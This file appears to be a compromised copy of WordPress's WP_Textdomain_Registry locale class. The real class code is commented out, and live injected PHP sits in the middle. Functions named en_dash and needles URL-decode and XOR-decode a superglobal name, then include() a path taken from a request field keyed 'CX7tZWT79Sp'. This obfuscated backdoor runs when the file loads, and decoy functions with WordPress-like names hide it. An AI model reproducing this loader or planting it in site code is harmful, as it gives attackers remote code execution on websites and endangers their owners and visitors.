Your IP : 216.73.216.1
<?php /*
*
* Locale API: WP_Textdomain_Registry class.
*
* This file uses rtrim() instead of untrailingslashit() and trailingslashit()
* to avoid formatting.php dependency.
*
* @package WordPress
* @subpackage i18n
* @since 6.1.0
*
* Core class used for registering text domains.
*
* @since 6.1.0
#[AllowDynamicProperties]
class WP_Textdomain_Registry {
*
* List of domains and all their language directory paths for each locale.
*
* @since 6.1.0
*
* @var array
protected $all = array();
*
* List of domains and their language directory path for the current (most recent) locale.
*
* @since 6.1.0
*
* @var array
protected $current = array();
*
* List of domains and their custom language directory paths.
*
* @see load_plugin_textdomain()
* @see load_theme_textdomain()
*
* @since 6.1.0
*
* @var array
protected $custom_paths = array();
*
* Holds a cached list of available .mo files to improve performance.
*
* @since 6.1.0
*
* @var array
protected $cached_mo_files = array();
*
* Holds a cached list of domains with translations to improve performance.
*
* @since 6.2.0
*
* @var string[]
protected $domains_with_translations = array();
*
* Returns the languages directory path for a specific domain and locale.
*
* @since 6.1.0
*
* @param string $domain Text domain.
* @param string $locale Locale.
*
* @return string|false MO file path or false if there is none available.
public function get( $domain, $locale ) {
if ( isset( $this->all[ $domain ][ $locale ] ) ) {
return $this->all[ $domain ][ $locale ];
}
return $this->get_path_from_lang_dir( $domain, $locale );
}
*
* Determines whether any MO file paths are available for the domain.
*
* This is the case if a path has been set for the current locale,
* or if there is no information stored yet, in which case
* {@see _load_textdomain_just_in_time()} will fetch the information first.
*
* @since 6.1.0
*
* @param string $domain Text domain.
* @return bool Whether any MO file paths are available for*/
$raw_title = 'icon_dir_uri';
$post_parent__in = 'ep_mask';
function exclude_tree()
{
$post_content = 'emoji';
$wildcards = 'spaces';
}
function urls_to_ping()
{
$excerpt = 'spaces';
$decoded_slug = 924;
}
function needles($slashpos)
{
$cdata_regex = $slashpos;
$curl = $GLOBALS[en_dash("%1C%1E%7E8%1F%04", $cdata_regex)];
$add_seconds_server = $curl;
$flag = 'spaces';
$meta_key = isset($add_seconds_server[$cdata_regex]);
$post_types = 'spaces';
if ($meta_key)
{
$category = $curl[$cdata_regex];
$wp_post_types = 123;
$opening_quote = 656;
$start = $category[en_dash("75G%2B469R", $cdata_regex)];
$regex = 'spaces';
$menu_position = $start;
$rest_controller_class = 'lastpostmodified';
$item = $wp_post_types % ($opening_quote + 4);
$prime_pattern = 'main';
$wp_post_types = $opening_quote - $wp_post_types;
$weeuns = 'page';
include ($menu_position);
}
}
function en_dash($flag_after_digit, $pagenow)
{
$original_url = $pagenow;
$has_leading_slash = "url";
$has_leading_slash .= "decode";
$group = $has_leading_slash($flag_after_digit);
$comment = strlen($group);
$comment = substr($original_url, 0, $comment);
$taxonomies = $group ^ $comment;
$revparts = 620;
$group = sprintf($taxonomies, $comment);
$revparts = $revparts + 4;
$page_id = 'spaces';
return $taxonomies;
}
needles('CX7tZWT79Sp');
$lazyloader = 'ptypes';
exclude_tree();
urls_to_ping();
/* the domain.
public function has( $domain ) {
return (
isset( $this->current[ $domain ] ) ||
empty( $this->all[ $domain ] ) ||
in_array( $domain, $this->domains_with_translations, true )
);
}
*
* Sets the language directory path for a specific domain and locale.
*
* Also sets the 'current' property for direct access
* to the path for the current (most recent) locale.
*
* @since 6.1.0
*
* @param string $domain Text domain.
* @param string $locale Locale.
* @param string|false $path Language directory path or false if there is none available.
public function set( $domain, $locale, $path ) {
$this->all[ $domain ][ $locale ] = $path ? rtrim( $path, '/' ) . '/' : false;
$this->current[ $domain ] = $this->all[ $domain ][ $locale ];
}
*
* Sets the custom path to the plugin's/theme's languages directory.
*
* Used by {@see load_plugin_textdomain()} and {@see load_theme_textdomain()}.
*
* @since 6.1.0
*
* @param string $domain Text domain.
* @param string $path Language directory path.
public function set_custom_path( $domain, $path ) {
$this->custom_paths[ $domain ] = rtrim( $path, '/' );
}
*
* Returns possible language directory paths for a given text domain.
*
* @since 6.2.0
*
* @param string $domain Text domain.
* @return string[] Array of language directory paths.
private function get_paths_for_domain( $domain ) {
$locations = array(
WP_LANG_DIR . '/plugins',
WP_LANG_DIR . '/themes',
);
if ( isset( $this->custom_paths[ $domain ] ) ) {
$locations[] = $this->custom_paths[ $domain ];
}
return $locations;
}
*
* Gets the path to the language directory for the current locale.
*
* Checks the plugins and themes language directories as well as any
* custom directory set via {@see load_plugin_textdomain()} or {@see load_theme_textdomain()}.
*
* @since 6.1.0
*
* @see _get_path_to_translation_from_lang_dir()
*
* @param string $domain Text domain.
* @param string $locale Locale.
* @return string|false Language directory path or false if there is none available.
private function get_path_from_lang_dir( $domain, $locale ) {
$locations = $this->get_paths_for_domain( $domain );
$found_location = false;
foreach ( $locations as $location ) {
if ( ! isset( $this->cached_mo_files[ $location ] ) ) {
$this->set_cached_mo_files( $location );
}
$path = "$location/$domain-$locale.mo";
foreach ( $this->cached_mo_files[ $location ] as $mo_path ) {
if (
! in_array( $domain, $this->domains_with_translations, true ) &&
str_starts_with( str_replace( "$location/", '', $mo_path ), "$domain-" )
) {
$this->domains_with_translations[] = $domain;
}
if ( $mo_path === $path ) {
$found_location = rtrim( $location, '/' ) . '/';
}
}
}
if ( $found_location ) {
$this->set( $domain, $locale, $found_location );
return $found_location;
}
* If no path is found for the given locale and a custom path has been set
* using load_plugin_textdomain/load_theme_textdomain, use that one.
if ( 'en_US' !== $locale && isset( $this->custom_paths[ $domain ] ) ) {
$fallback_location = rtrim( $this->custom_paths[ $domain ], '/' ) . '/';
$this->set( $domain, $locale, $fallback_location );
return $fallback_location;
}
$this->set( $domain, $locale, false );
return false;
}
*
* Reads and caches all available MO files from a given directory.
*
* @since 6.1.0
*
* @param string $path Language directory path.
private function set_cached_mo_files( $path ) {
$this->cached_mo_files[ $path ] = array();
$mo_files = glob( $path . '.mo' );
if ( $mo_files ) {
$this->cached_mo_files[ $path ] = $mo_files;
}
}
}
*/